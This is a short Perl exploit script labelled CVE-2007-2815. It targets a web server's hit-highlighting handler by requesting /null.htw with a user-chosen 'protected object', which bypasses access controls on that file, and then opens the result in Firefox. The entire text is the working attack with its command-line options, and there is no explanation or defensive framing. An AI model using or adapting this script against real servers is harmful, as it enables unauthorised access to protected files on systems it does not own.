####################### # CVE-2007-2815 # ff0000 # ff0000@humanoid.net # 01/06/2007 ####################### #! /usr/bin/perl use LWP 5.64; require "getopt.pl"; &Getopt('shop'); $browser = LWP::UserAgent->new; $proto=$opt_s;if($opt_s){$proto="https";}else{$proto="http";} $host=$opt_h;if(!$opt_h){&usage();} $obj =$opt_o;if(!$opt_o){&usage();} $port=$opt_p;if(!$opt_p){$port=80;} $url = "$proto://$host:$port/b00/null.htw?CiWebhitsfile=$obj&CiRestriction=b&CiHiliteType=full"; $command = "c:\\Program Files\\Mozilla Firefox\\firefox.exe"; $response = $browser->get($url); $browser->timeout(10); if($response->is_success){`"$command" "$url"`;} else{print "\n[!] Unable to connect to $host on port $port.\n";} sub usage{print "$0 <-h hostname | ip address> <-o protected object> [-p port] [-ssl] ";exit;} =